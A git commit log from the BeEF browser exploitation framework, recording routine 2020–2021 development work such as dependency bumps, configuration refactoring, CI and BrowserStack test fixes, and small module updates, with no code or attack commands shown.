2794bc3cf4 INSTALL: Fixed GITACTIONS check for null (#2214) 2021-10-28 15:35:10 +10:00
Isaac Powell
541933a45f deleted github actions .yaml used for testing 2021-10-28 12:24:43 +11:00
Isaac Powell
9cef23be22 Update github_actions.yml
Changed the actions to run on master branch when pull request is triggered
2021-10-22 12:05:01 +11:00
Isaac Powell
7c3e342981 Feature/ci (#2190)
squash and merge
2021-10-15 14:22:56 +11:00
Isaac Powell
3b34e428cc version up (#2188) 2021-10-15 13:56:58 +11:00
Isaac Powell
ea65554a50 Rubocop api.rb fix (#2175) 2021-10-15 10:36:54 +10:00
wheatley
dc68ed9390 Added testing installation on ubuntu 2021-10-14 16:20:50 +10:00
Isaac Powell
1ae320c3bc Hotfix api.rb (#2173)
* testing api

* formatting
2021-09-24 11:36:16 +10:00
wheatley
43e3fa5432 Release: 0.5.3.0 (#2169)
* Fix #1851 - Command/request(s) sent to zombie 'undefined' bug (#1963)

* Provided correct context in locationHashChanged() to have data necessary for the nested function calls to act as intended.

* rubocop cleanup (#2170)

* version up (#2172)

Co-authored-by: Jack Walker <46417690+jackdwalker@users.noreply.github.com>
Co-authored-by: Isaac Powell <36595182+DeezyE@users.noreply.github.com>
2021-09-24 11:06:47 +10:00
wheatley
694df4c17b Updated config.yaml to remove "" form public 2021-09-12 22:15:41 +10:00
wheatley
b0e59d2c55 Release 0.5.2.0 (#2167)
* fixed offline zombie not deleting

* Bump jsdoc-to-markdown from 6.0.1 to 7.0.1 (#2161)

Bumps [jsdoc-to-markdown](https://github.com/jsdoc2md/jsdoc-to-markdown) from 6.0.1 to 7.0.1.
- [Release notes](https://github.com/jsdoc2md/jsdoc-to-markdown/releases)
- [Commits](https://github.com/jsdoc2md/jsdoc-to-markdown/compare/v6.0.1...v7.0.1)

---
updated-dependencies:
- dependency-name: jsdoc-to-markdown
  dependency-type: direct:development
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>

* Bug: Core - 1785 Fixed public hook url configuration settings (#2163)

* added spec file for testing changes

* added local host getter to configuration class

* added default value 0.0.0.0 for local host if it's not set

* added port config getter with default

* added port config getter with default

* fixed spelling errors for port

* added public configuration values and validation

* removed logic from public port as it was not required

* added beef host to configuration class

* added beef port to configuration class and removed default http.port logic from public_port

* fixed rubocop errors and refactored spec tests

* added beef host configuration values used for external resources

* added beef url to configuration

* added spec file for testing changes

* added local host getter to configuration class

* added default value 0.0.0.0 for local host if it's not set

* added port config getter with default

* added port config getter with default

* fixed spelling errors for port

* added public configuration values and validation

* removed logic from public port as it was not required

* added beef host to configuration class

* added beef port to configuration class and removed default http.port logic from public_port

* fixed rubocop errors and refactored spec tests

* added beef host configuration values used for external resources

* added beef url to configuration

* created command spec file

* add before statement to load all enabled modules to test command class

* add spec to check if configuration instance exists by setting and accessing a config variable

* updated http proto for beef host

* reverting changes on this file, dev values set

* removed some unessessary checks

* fixed grammar test now we're only testing one configuration attribute

* added hook url for contextual usage

* refactoring admin_ui with new code usage

* fixed issue with the location of the beef.http.https.public_enabled

* refactored powershell module and extension

* adding the new config setting for public https beign enabled

* refactor qrcode extension

* replace video fake plugin refactor

* social engineering refactoring

* phonegap module refactoring

* exploit refactoing

* network module refactoing

* ipec module refactoring

* host module refactoring

* debug refactoring

* browser refactoring

* social engineering extension refactoring

* core main server refactoring

* core main console banner refactoring

* removing dev test

* fixed area with location of http.https.enabled

* changed the hook url definition to return the hook file path

* updated banners to use new configuration getters

* updated extensions and modules with the hook url change

* added new public.host configuration settings and validations for depicated usage of public

* updated to use public.port configuration

* added validation for old configuration public_port

* updated to use public https configuration setting

* updated config with new settings format

* fixed get to point to new locations

* fixed pointer to hook_file_path

* Update extensions/social_engineering/web_cloner/web_cloner.rb

Co-authored-by: bcoles <bcoles@gmail.com>

* updated enabled to enable

* making sure default configuration file does not have preset values

Co-authored-by: bcoles <bcoles@gmail.com>

* bumped versions to 0.5.2.0

* Usability: #2145. Added user input request for beef update within 'beef' install script (#2162)

* added user input request for beef update

* swaped git pull from system to backticks

* flags added for auto update and timout to input

* updated install.txt to reference the update-beef script (#2160)

Co-authored-by: wheatley <wheatand@gmail.com>
Co-authored-by: Isaac Powell <36595182+DeezyE@users.noreply.github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: bcoles <bcoles@gmail.com>
2021-09-12 21:57:18 +10:00
wheatley
b6425e4a90 Release 0.5.2.0 (#2166)
* fixed offline zombie not deleting

* Bump jsdoc-to-markdown from 6.0.1 to 7.0.1 (#2161)

Bumps [jsdoc-to-markdown](https://github.com/jsdoc2md/jsdoc-to-markdown) from 6.0.1 to 7.0.1.
- [Release notes](https://github.com/jsdoc2md/jsdoc-to-markdown/releases)
- [Commits](https://github.com/jsdoc2md/jsdoc-to-markdown/compare/v6.0.1...v7.0.1)

---
updated-dependencies:
- dependency-name: jsdoc-to-markdown
  dependency-type: direct:development
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>

* Bug: Core - 1785 Fixed public hook url configuration settings (#2163)

* added spec file for testing changes

* added local host getter to configuration class

* added default value 0.0.0.0 for local host if it's not set

* added port config getter with default

* added port config getter with default

* fixed spelling errors for port

* added public configuration values and validation

* removed logic from public port as it was not required

* added beef host to configuration class

* added beef port to configuration class and removed default http.port logic from public_port

* fixed rubocop errors and refactored spec tests

* added beef host configuration values used for external resources

* added beef url to configuration

* added spec file for testing changes

* added local host getter to configuration class

* added default value 0.0.0.0 for local host if it's not set

* added port config getter with default

* added port config getter with default

* fixed spelling errors for port

* added public configuration values and validation

* removed logic from public port as it was not required

* added beef host to configuration class

* added beef port to configuration class and removed default http.port logic from public_port

* fixed rubocop errors and refactored spec tests

* added beef host configuration values used for external resources

* added beef url to configuration

* created command spec file

* add before statement to load all enabled modules to test command class

* add spec to check if configuration instance exists by setting and accessing a config variable

* updated http proto for beef host

* reverting changes on this file, dev values set

* removed some unessessary checks

* fixed grammar test now we're only testing one configuration attribute

* added hook url for contextual usage

* refactoring admin_ui with new code usage

* fixed issue with the location of the beef.http.https.public_enabled

* refactored powershell module and extension

* adding the new config setting for public https beign enabled

* refactor qrcode extension

* replace video fake plugin refactor

* social engineering refactoring

* phonegap module refactoring

* exploit refactoing

* network module refactoing

* ipec module refactoring

* host module refactoring

* debug refactoring

* browser refactoring

* social engineering extension refactoring

* core main server refactoring

* core main console banner refactoring

* removing dev test

* fixed area with location of http.https.enabled

* changed the hook url definition to return the hook file path

* updated banners to use new configuration getters

* updated extensions and modules with the hook url change

* added new public.host configuration settings and validations for depicated usage of public

* updated to use public.port configuration

* added validation for old configuration public_port

* updated to use public https configuration setting

* updated config with new settings format

* fixed get to point to new locations

* fixed pointer to hook_file_path

* Update extensions/social_engineering/web_cloner/web_cloner.rb

Co-authored-by: bcoles <bcoles@gmail.com>

* updated enabled to enable

* making sure default configuration file does not have preset values

Co-authored-by: bcoles <bcoles@gmail.com>

* bumped versions to 0.5.2.0

* Usability: #2145. Added user input request for beef update within 'beef' install script (#2162)

* added user input request for beef update

* swaped git pull from system to backticks

* flags added for auto update and timout to input

* updated install.txt to reference the update-beef script (#2160)

Co-authored-by: Andrew Wheatley <a@andrews-mini.home>
Co-authored-by: Isaac Powell <36595182+DeezyE@users.noreply.github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: bcoles <bcoles@gmail.com>
2021-09-12 21:33:02 +10:00
wheatley
c96b5e8968 Update ISSUE_TEMPLATE.md
bumped version
2021-09-12 17:50:24 +10:00
dependabot[bot]
27e58a714d Update rubocop requirement from ~> 0.92.0 to ~> 1.20.0 (#2154)
Updates the requirements on [rubocop](https://github.com/rubocop/rubocop) to permit the latest version.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v0.92.0...v1.20.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-09-04 20:07:06 +10:00
wheatley
16e14c6f2e Release 0.5.1.0 (#2156)
* updated version to 5.0.1.0 in package.json

* updated version to 5.0.1.0 in VERSION

* updated version to 5.0.1.0 in config.yml

* removed Active Record section

* cleanup bundle related folders and added to .gitignore

* bumped tag url in ISSUETEMPLATE

* updating version to 0.5.1.0

* readding .bundle/config as we do not want users to automatically install dev/test gems

* fixed spelling mistake of .bundle
2021-09-04 14:56:47 +10:00
wheatley
9f7dcdf250 Testing: Fixed error running social_engerring_spec 2021-08-24 19:15:38 +10:00
jcrew99
15af383355 Merge pull request #2134 from beefproject/otr-activerecord-update
OTR-ActiveRecord update: added to manually call the database connection
2021-07-20 01:49:58 +10:00
jcrew99
b4dae0f58b Updating Gemfile lock as suggested 2021-07-20 01:43:34 +10:00
jcrew99
588e32966a changed from 2.0 to 1.4.2 2021-07-18 13:36:28 +10:00
jcrew99
6d882b5016 removed the lock on the activerecord gem 2021-07-18 13:12:13 +10:00
jcrew99
d959956271 added a check for the version added 2021-07-18 13:05:15 +10:00
bcoles
702dfbd878 Merge pull request #2127 from wheatley/defect/2010_could_not_find_table_webcloners
Rename the WebCloner model class to align with ActiveRecord syntax
2021-07-13 21:49:13 +10:00
whealtey
681511358e moveid the clean up the related method instead of after all tests 2021-07-11 09:14:37 +00:00
whealtey
739b168602 specified the generated web pages for google to be removed 2021-07-11 09:02:56 +00:00
whealtey
0f7567cc4b left byebug in file 2021-07-11 08:37:35 +00:00
whealtey
5d0a499a12 renamed the WebCloner model class to align with ActiveRecord syntax
changed WebCloner name changes in web_cloner.rb
created two tests to support changeswq
2021-07-11 08:18:14 +00:00
bcoles
b58978870d Merge pull request #2123 from 1124219777/master
Fix Firefox detection

Since Firefox 89 the `navigator.mozGetUserMedia()` function is only defined on HTTPS websites.
2021-07-03 20:36:58 +10:00
郭瑞
4bede1bc01 fix FireFix 89.02 mozGetUserMedia == undefined
fix
2021-07-03 18:08:18 +08:00
bcoles
663d8e7489 Merge pull request #2090 from beefproject/dependabot/add-v2-config-file
Upgrade to GitHub-native Dependabot
2021-06-26 01:34:56 +10:00
bcoles
4140300906 Merge pull request #2099 from bcoles/adminui-bookmarklet
AdminUI: Use correct hook file path for bookmarlet hook URL
2021-05-09 00:06:56 +10:00
Brendan Coles
5a65f1610e AdminUI: Use correct hook file path for bookmarlet hook URL 2021-05-08 14:06:25 +00:00
bcoles
fc6ae645d9 Merge pull request #2094 from bcoles/bundle-otr-activerecord
bundle: Lock otr-activerecord to version '~> 1.4.1'
2021-05-08 19:57:00 +10:00
Brendan Coles
42d9e431b7 bundle: Lock otr-activerecord to version '~> 1.4.1' 2021-05-08 09:56:20 +00:00
dependabot-preview[bot]
6638e2e234 Upgrade to GitHub-native Dependabot 2021-04-29 20:59:37 +00:00
bcoles
6adad0911b ISSUE_TEMPLATE: Fix Typo 2021-04-25 10:15:48 +10:00
plan-do-break-fix
f754ee6beb fix(docs): corrects typo in project's ISSUE_TEMPLATE 2021-04-24 18:02:18 -05:00
bcoles
c23a93a84e BeEF Bind payloads: Updates Kali install instructions 2021-04-19 04:23:57 +10:00
Chessmaster
ef8819d78c Update instructions.txt for recent kali linux 2021-04-18 20:16:30 +02:00
bcoles
8acc31f784 Install: Add support for blackPantherOS 2021-04-16 02:02:24 +10:00
blackPanther OS
b8a9eecaf4 Extend distro suppport
Added blackPanther OS specific install strings and requires for use
2021-04-15 10:43:04 +02:00
bcoles
90798571d5 Merge pull request #2056 from P-arag/master
Gmail Phishing: Change redirect URL to https://accounts.google.com/

Update post-login redirection URL from https://accounts.google.com/ServiceLogin to
https://accounts.google.com/
2021-02-11 17:55:55 +11:00
Parag Jyoti Pal
2d19294540 Fixed Gmail Phishing by updating https://accounts.google.com/ServiceLogin to https://accounts.google.com/ 2021-02-11 12:10:49 +05:30
bcoles
845b2db255 Merge pull request #2051 from bcoles/rubocop-extensions-metasploit
rubocop -a extensions/metasploit
2021-01-26 19:22:10 +11:00
Brendan Coles
a26653719c rubocop -a extensions/metasploit 2021-01-26 08:21:36 +00:00
bcoles
6493df8502 Merge pull request #2049 from bcoles/ruby-version
Bump Ruby version from 2.5.3 to 2.7.2
2021-01-26 19:20:23 +11:00
bcoles
b1f9bae470 Merge pull request #2050 from bcoles/rubocop
Rubocop: Bump Ruby version to 2.6 and define new cops
2021-01-26 18:49:21 +11:00
Brendan Coles
b4d549fe48 Rubocop: Bump Ruby version to 2.6 and define new cops 2021-01-26 07:48:13 +00:00
Brendan Coles
f1203ebd68 Bump Ruby version from 2.5.3 to 2.7.2 2021-01-26 07:44:19 +00:00
bcoles
5df9a7f17e Merge pull request #2048 from bcoles/gemfile-nokogiri
Gemfile: Bump nokogiri version from >= 1.10.8 to >= 1.11.1
2021-01-26 18:24:30 +11:00
Brendan Coles
e447f1ba2d Gemfile: Bump nokogiri version from >= 1.10.8 to >= 1.11.1 2021-01-26 07:23:50 +00:00
bcoles
25172353d0 Merge pull request #1971 from justinsteven/pass_query_string_through_proxy
Include URI query string in proxied requests
2021-01-26 18:11:36 +11:00
bcoles
f8e41a939f Merge pull request #2046 from raskoln1kov/patch-1
Update clickjack_attack.html: Fix malformed CSS syntax
2021-01-26 17:49:22 +11:00
raskoln1kov
f27eda4021 Update clickjack_attack.html 2021-01-18 16:39:35 +01:00
jcrew99
8ee08bdbda Merge pull request #2042 from beefproject/copyright_update
updated all of the copyright information
2021-01-11 04:56:00 +10:00
J
4ec6ecee27 updated all of the copyright information 2021-01-11 04:48:56 +10:00
jcrew99
49478370d8 Merge pull request #1973 from beefproject/excluded_hooking_subnet
Excluded hooking subnet
2020-10-25 20:20:30 +10:00
bcoles
f1f5198ba1 Merge pull request #1993 from beefproject/dependabot/bundler/rubocop-tw-0.92.0
Update rubocop requirement from ~> 0.88.0 to ~> 0.92.0
2020-09-29 08:10:00 +10:00
dependabot-preview[bot]
dd0c8aa850 Update rubocop requirement from ~> 0.88.0 to ~> 0.92.0
Updates the requirements on [rubocop](https://github.com/rubocop-hq/rubocop) to permit the latest version.
- [Release notes](https://github.com/rubocop-hq/rubocop/releases)
- [Changelog](https://github.com/rubocop-hq/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop-hq/rubocop/compare/v0.88.0...v0.92.0)

Signed-off-by: dependabot-preview[bot] <support@dependabot.com>
2020-09-28 06:09:46 +00:00
jcrew99
9ddd694842 Merge pull request #1986 from beefproject/rubocop_mergev0.0.1
Rubocop mergev0.0.1
2020-09-14 18:54:26 +10:00
jcrew99
a7c4b3215a Merge pull request #1984 from beefproject/internal_error_when_creating_XSSrays
First fix for the XSSRays
2020-09-14 18:54:05 +10:00
Josh
360d6bb345 Merge branch 'internal_error_when_creating_XSSrays' of https://github.com/beefproject/beef into internal_error_when_creating_XSSrays
lets update
2020-09-14 00:55:26 -07:00
Jish
dd6c8283cd updated rubocop changes 2020-08-03 08:23:05 -04:00
Jish
a5603eafde added to gemfile 2020-08-03 07:24:30 -04:00
Jish
38b0e44115 added a .first section 2020-08-03 00:41:19 -04:00
jcrew99
8876f69ba6 Merge pull request #1975 from klezVirus/master
Fix country_code is null
2020-08-03 13:33:32 +10:00
bcoles
36bd907f99 Merge pull request #1982 from sopsmattw/patch-1
iFrame Sniffer module: Update config.yaml reference URL
2020-08-01 03:40:19 +10:00
Matt Wagenknecht
72870deea6 Update config.yaml
updated URL from contextis.co.uk to contextis.com.
2020-07-31 11:31:50 -06:00
jcrew99
fc9b11e658 Merge pull request #1977 from beefproject/updated_contributing
Updated contributing
2020-07-27 23:06:58 +10:00
Josh
fbafdae50a fixed and responded to comments 2020-07-26 22:16:00 -07:00
Josh
b9c5ee73fb Merge branch 'updated_contributing' of https://github.com/beefproject/beef 2020-07-26 21:13:11 -07:00
jcrew99
1aa8a6aec6 Merge branch 'master' into updated_contributing 2020-07-25 23:29:30 +10:00
Joshua
381cbec8a9 updated contributing to further match how to merge 2020-07-25 23:19:45 +10:00
josh
9a8108e0f5 updated contribution 2020-07-25 22:21:38 +10:00
d3adc0de
3a0178bedc Fix country_code is null 2020-07-23 22:13:20 +01:00
josh
064fb5fdb2 Merge branch 'updated_contributing' of https://github.com/beefproject/beef into updated_contributing
matching
2020-07-24 01:57:18 +10:00
Jack Walker
09bcb5b704 Updated variable naming for clarity of functional use 2020-07-21 12:03:36 +10:00
Jack Walker
dbd20a742e Added icamys changes, inverting the logic for the found variable. 2020-07-21 11:22:47 +10:00
Jack Walker
0c07a5f853 Merge pull request #1962 from beefproject/fix_broken_network_extension
Fix #1852 - Re-patch of reverted Network Map/Hosts/Services fix
2020-07-21 11:02:53 +10:00
Jack Walker
967bcf4069 Merge pull request #1961 from beefproject/bcoles-patch-1
Update dependencies
2020-07-21 11:01:24 +10:00
Justin Steven
75bd2f8fb3 Include URI query string in proxied requests 2020-07-16 15:50:41 +10:00
Josh
9a7a36a3ce Merge branch 'updated_contributing' of https://github.com/beefproject/beef 2020-07-15 21:32:36 -07:00
bcoles
f3313fde8a core/main/client/browser.js: Fix array unique function (#1966) 2020-07-10 14:29:13 +10:00
jcrew99
7fa269ff81 Merge pull request #1957 from beefproject/are_new_execution_error
ARE New Zombie Execution Error
2020-07-09 10:26:59 +10:00
jcrew99
b0c0e6e2ba Merge pull request #1956 from beefproject/pretty_theft_empty_credentials_error
Pretty Theft Missing Credentials JS Error
2020-07-09 10:24:48 +10:00
bcoles
b8528e5df5 Update dependencies 2020-07-08 20:35:06 +10:00
Jack Walker
7169d84b88 Merge pull request #1934 from beefproject/update_issue_template
Update Issue/PR templates
2020-07-08 16:17:50 +10:00
jcrew99
36263fa3a5 Merge pull request #1958 from beefproject/replace_array_prototype_unique
Replaced Array.prototype.unique with a cleaner jQuery equivalent
2020-07-07 22:13:24 +10:00
Jack Walker
dd3b635a48 Re-commiting h4sh5's reverted changes. 2020-07-07 14:47:05 +10:00
Jack Walker
edda0188d5 Removed typo (trailing a) missed in last commit 2020-07-06 16:46:58 +10:00
Jack Walker
4fc300ff87 Replaced Array.prototype.unique with a cleaner jQuery equivalent 2020-07-06 16:24:09 +10:00
Jack Walker
8e0a1b6b87 Removed rule left in ARE enabled directory 2020-07-06 14:40:01 +10:00
Jack Walker
9696b05aba Fixed error causing some ARE rules to not run. 2020-07-06 14:39:04 +10:00
Jack Walker
a8606697e0 Reset creds 2020-07-06 12:44:43 +10:00
Jack Walker
a92d4d910c Fixed getElementById method being called on incorrect object causing looping failure. 2020-07-06 12:44:19 +10:00
Jack Walker
c8dc77bea8 Removed some redundant text at the bottom of the issue template discussing debugging. 2020-07-06 12:02:28 +10:00
Jack Walker
09cc1ee50d Forgot to save -.- Re-commit of last commit. 2020-07-06 11:53:35 +10:00
Jack Walker
46ef842bcf Added additional steps to retrieve debugging output as per BColes advice 2020-07-06 11:51:46 +10:00
jcrew99
9458bd8fc6 Merge pull request #1940 from beefproject/issue-1911_ruby_version_check
sudo for gem install, ruby package manager check
2020-07-05 18:19:53 +10:00
Joshua
3b82ba16dd updated contributing to further match how to merge 2020-07-02 13:33:18 +10:00
isaac powell
bf1be0fc16 sudo for gem install, ruby package manager check 2020-06-08 21:58:49 -04:00
Jack Walker
9d3206b226 Merge pull request #1933 from beefproject/dependabot/npm_and_yarn/jsdoc-to-markdown-6.0.1
Bump jsdoc-to-markdown from 5.0.3 to 6.0.1
2020-06-04 08:57:01 +10:00
Jack Walker
c86bde43d6 Updated PR template 2020-06-01 21:23:52 +10:00
Jack Walker
58e690d304 Updated issue template 2020-06-01 21:04:35 +10:00
Jack Walker
bc77749236 Removed leftover local.log file from last PR. Shouldn't appear again (in .gitignore). 2020-06-01 20:43:43 +10:00
Jack Walker
0857a95a7e Updated README to align with jsdoc version bump compatibility requirements. 2020-06-01 20:40:06 +10:00
dependabot-preview[bot]
a2c354bb3d Bump jsdoc-to-markdown from 5.0.3 to 6.0.1
Bumps [jsdoc-to-markdown](https://github.com/jsdoc2md/jsdoc-to-markdown) from 5.0.3 to 6.0.1.
- [Release notes](https://github.com/jsdoc2md/jsdoc-to-markdown/releases)
- [Commits](https://github.com/jsdoc2md/jsdoc-to-markdown/compare/v5.0.3...v6.0.1)

Signed-off-by: dependabot-preview[bot] <support@dependabot.com>
2020-06-01 07:35:47 +00:00
Jack Walker
0c768ec54b Merge pull request #1920 from beefproject/browserstack
BrowserStack Integration
2020-06-01 09:25:31 +10:00
Jack Walker
753bc36218 Added BrowserStacks log to .gitignore, and re-enabled Wade's email notifications. 2020-05-29 20:31:42 +10:00
Jack Walker
a5e865f75f Removed conditional preventing valid test failures. 2020-05-29 12:09:50 +10:00
Jack Walker
ef5ecf3a5b Parsing browser details blob. 2020-05-28 04:05:45 +10:00
Jack Walker
796b3ada20 debugging 2020-05-28 03:56:34 +10:00
Jack Walker
7c7c56152d Small adjustment to hopefully fix the incorrect data being pulled from the hooked browser info. 2020-05-28 03:41:19 +10:00
Jack Walker
a8115f1635 Debugging 2020-05-28 03:31:25 +10:00
Jack Walker
00f20fd0f0 Potential fix for erroring browser details handler. 2020-05-28 03:24:05 +10:00
Jack Walker
3c97f0302e debugging 2020-05-28 03:15:10 +10:00
Jack Walker
7ae51d2593 Additional debugging 2020-05-28 03:01:03 +10:00
Jack Walker
5d82ddbe74 Added debugging to browser details handler testing. 2020-05-28 02:50:02 +10:00
Jack Walker
dc838ae77c Changed method of retrieving browser details. Hopeful fix. 2020-05-28 02:33:17 +10:00
Jack Walker
4a3deb5b4b Checking if another auth method helps solve browser details issue. 2020-05-28 02:04:23 +10:00
Jack Walker
f33dc7aec0 Forced session identification to be performed client side. Server-side response too flakey atm. Cleaned up code. 2020-05-27 20:07:07 +10:00
Jack Walker
f7e46c5994 Forced session identification to be performed client side. Server-side response too flakey atm. Cleaned up code. 2020-05-27 20:02:05 +10:00
Jack Walker
053c98cc60 Added the stack trace to exception handling for easier debugging. 2020-05-27 19:58:43 +10:00
Jack Walker
fa406ed071 Tightened up some of the test cases. 2020-05-27 19:03:13 +10:00
Jack Walker
e1430f5e43 Tightened up some of the test cases. 2020-05-27 19:01:54 +10:00
Jack Walker
af6db74058 Final exception fix. This should be the last change needed.. said every dev ever. 2020-05-27 18:51:27 +10:00
Jack Walker
dbb6cb1332 Missing key on hook variable assignment 2020-05-27 18:41:23 +10:00
Jack Walker
18e76512de Added some additional session handling code in the server setup. 2020-05-27 17:41:20 +10:00
Jack Walker
e94ac0169f Fixed incorrect variable referencing 2020-05-27 17:17:41 +10:00
Jack Walker
93df6694b8 Changed error handling to account for any false fails. Should now only fail if tests truly does not meet it's intended requirements. 2020-05-27 17:06:09 +10:00
Jack Walker
bf0e20991d Changed error handling to account for any false fails. Should now only fail if tests truly does not meet it's intended requirements. 2020-05-27 17:05:42 +10:00
jcrew99
fe2dd0ac01 Merge pull request #1929 from beefproject/bcoles-patch-1
Update README.md
2020-05-25 11:07:54 +10:00
bcoles
3a713ffd76 Update README.md 2020-05-21 06:10:23 +10:00
Jack Walker
69998ee176 Missing wait definition specifically in websocket_hooked_browser_spec.rb 2020-05-18 17:03:58 +10:00
Jack Walker
d43e0bafb4 Missing closing paren from last commit. 2020-05-18 16:11:47 +10:00
Jack Walker
443e8df251 Added error handling for initial failed connection/timeout to BrowserStack 2020-05-18 14:57:26 +10:00
Jack Walker
d51c6ae93e Added error handling for initial failed connection/timeout to BrowserStack 2020-05-18 14:52:11 +10:00
Jack Walker
a82e5209be Flipped localhost/127.0.0.1 in ATTACK/VICTIM_DOMAIN test constants. Supposed fix for testing issue. 2020-05-18 14:42:33 +10:00
Jack Walker
a85f0d78d0 Reversed logic gate for incorrectly handled exception. 2020-05-15 13:09:09 +10:00
Jack Walker
0375acd7f8 Fixed BrowserStack timeout error handling. 2020-05-15 11:41:13 +10:00
Jack Walker
45f6595bda Fixed BrowserStack timeout error handling. 2020-05-15 11:26:30 +10:00
Jack Walker
0c429a8d43 Forced latest Selenium version in El Capitan + Catalina Safari tests. Noticed error using older versions. 2020-05-15 10:52:30 +10:00
Jack Walker
31a19692f8 Moved TIMEOUT error handling to teardown. 2020-05-15 09:03:26 +10:00
Jess Williams
81cd4e7533 Update CONTRIBUTING.md 2020-05-12 20:07:53 +10:00
Jack Walker
8b8e19f216 Added more descriptive exception CLI output for BrowserStack tests. 2020-05-12 17:11:37 +10:00
Jack Walker
878e235e0b Broadened timeout exception handling. 2020-05-12 09:52:12 +10:00
Jack Walker
92f3bdba2b Added additionally error handling to BrowserStack test cases 2020-05-12 08:59:28 +10:00
Jack Walker
e9b31e4d6c Added error handling in the event hooked browser information also cannot be found during the test itself, rather than just in setup. 2020-05-08 15:20:46 +10:00
Jack Walker
9849bab134 Added error handling in the event hooked browser information also cannot be found during the test itself, rather than just in setup. 2020-05-08 15:01:28 +10:00
Jack Walker
0f14e4d3b7 Generated secure BrowserStack user + access key for beefproject/beef repo. Cleaned up some code. 2020-05-08 10:28:49 +10:00
Jack Walker
e449537ad8 Merged Josh's fix for the websocket hook test. 2020-05-06 17:29:16 +10:00
Jack Walker
8488bc3866 Removed explicit Selenium driver versions. Causing multiple testing errors. 2020-05-06 13:15:02 +10:00
Jack Walker
6480127929 Explicitly added Selenium driver version 2020-05-06 12:54:55 +10:00
Jack Walker
ece8151ece Re-enabling full test suite. 2020-04-30 15:16:52 +10:00
Jack Walker
3e6b75882e Added error handling to try/catch block. 2020-04-30 12:07:10 +10:00
Jack Walker
66868e748d Added error handling to try/catch block. 2020-04-30 11:16:07 +10:00
Jack Walker
8e1edf5cea Added error handling to try/catch block. 2020-04-30 11:02:22 +10:00
Jack Walker
5555d32367 Added error handling to try/catch block. 2020-04-30 10:46:29 +10:00
Jack Walker
5f8bf6b14a Added error handling to try/catch block. 2020-04-30 10:38:50 +10:00
Jack Walker
3f47d2f838 Added additional logic to handle inconsistencies in test results 2020-04-30 10:00:42 +10:00
Jack Walker
8ff669c9fc Added additional logic to handle inconsistencies in test results 2020-04-30 09:50:13 +10:00
Jack Walker
b397c2f5d5 Added additional logic to handle inconsistencies in test results 2020-04-30 09:44:22 +10:00
Jack Walker
dc80537693 Added additional logic to handle inconsistencies in test results 2020-04-30 09:42:55 +10:00
Jack Walker
334cbf895f Added more handling to allow browser room to be hooked comfortably 2020-04-29 16:06:12 +10:00
Jack Walker
bb2879afcd Added more handling to allow browser room to be hooked comfortably 2020-04-29 16:04:16 +10:00
jcrew99
887f550d90 Update browser_details_handler_spec.rb 2020-04-29 15:46:31 +10:00
jcrew99
f4370bcf6f Update browser_details_handler_spec.rb 2020-04-29 15:45:38 +10:00
Jack Walker
4a7f338527 Added more handling to allow browser room to be hooked comfortably 2020-04-29 15:17:23 +10:00
Jack Walker
dd2fad3d14 Added more handling to allow browser room to hook comfortably 2020-04-29 14:47:00 +10:00
Jack Walker
43dd0a2562 Reverted back to taking token directly, auth was causing issues.: 2020-04-29 14:06:05 +10:00
Jack Walker
192c666fc8 Reverted to previous method of auth rather than just pulling API token directly when generated by BeEF. 2020-04-29 13:56:46 +10:00
Jack Walker
bf0f22a1fe Handling for last commit's issue successful. Testing against full suite. 2020-04-29 13:38:19 +10:00
Jack Walker
59c34d5697 Adding some handling for potential issue in BeEF recognising hooks 2020-04-29 13:26:20 +10:00
Jack Walker
7decd7a53d Adding some handling for potential issue in BeEF recognising hooks 2020-04-29 13:20:15 +10:00
Jack Walker
423ae6bf41 Testing new client side wait to increase hook consistency in test. 2020-04-29 13:09:29 +10:00
Jack Walker
70a9db28be Testing new client side wait to increase hook consistency in test. 2020-04-29 13:05:25 +10:00
Jack Walker
daef8b0a22 Testing new client side wait to increase hook consistency in test. 2020-04-29 12:58:26 +10:00
Jack Walker
ca1df10953 Testing new client side wait to increase hook consistency in test. 2020-04-29 12:50:12 +10:00
Jack Walker
0b4428951c Testing new client side wait to increase hook consistency in test. 2020-04-29 11:45:19 +10:00
Jack Walker
822bd61426 Testing new client side wait to increase hook consistency in test. 2020-04-29 11:14:28 +10:00
Jack Walker
4726647d2f Testing new client side wait to increase hook consistency in test. 2020-04-29 11:08:28 +10:00
Jack Walker
e9a012c04b Testing new client side wait to increase hook consistency in test. 2020-04-29 11:02:49 +10:00
Jack Walker
bf085bd562 Testing new client side wait to increase hook consistency in test. 2020-04-29 10:49:03 +10:00
Jack Walker
9a4ad1ebb9 Testing new client side wait to increase hook consistency in test. 2020-04-28 17:15:18 +10:00
Jack Walker
ce29f9dec8 Testing new client side wait to increase hook consistency in test. 2020-04-28 17:08:23 +10:00
Jack Walker
6b1290b26e Testing new client side wait to increase hook consistency in test. 2020-04-28 17:03:45 +10:00
Jack Walker
d0c0763815 Testing new client side wait to increase hook consistency in test. 2020-04-28 16:57:44 +10:00
Jack Walker
f0ad6795b2 Testing new client side wait to increase hook consistency in test. 2020-04-28 16:31:44 +10:00
Josh
944e4e1372 removed a debugging peice 2020-04-27 23:00:59 -07:00
Jack Walker
b5c7cd39b5 Testing new client side wait to increase hook consistency in test. 2020-04-28 15:52:51 +10:00
Josh
afdbe70e56 fixed left-over debugging 2020-04-27 22:51:50 -07:00
Josh
2ffbe6699d updated travis for the whole stack 2020-04-27 22:47:20 -07:00
Jack Walker
ea461c32d5 Testing new client side wait to increase hook consistency in test. 2020-04-28 15:46:22 +10:00
Josh
00ee6df79e should work 2020-04-27 22:42:41 -07:00
Jack Walker
44aadbc6d9 Testing new client side wait to increase hook consistency in test. 2020-04-28 15:36:19 +10:00
Josh
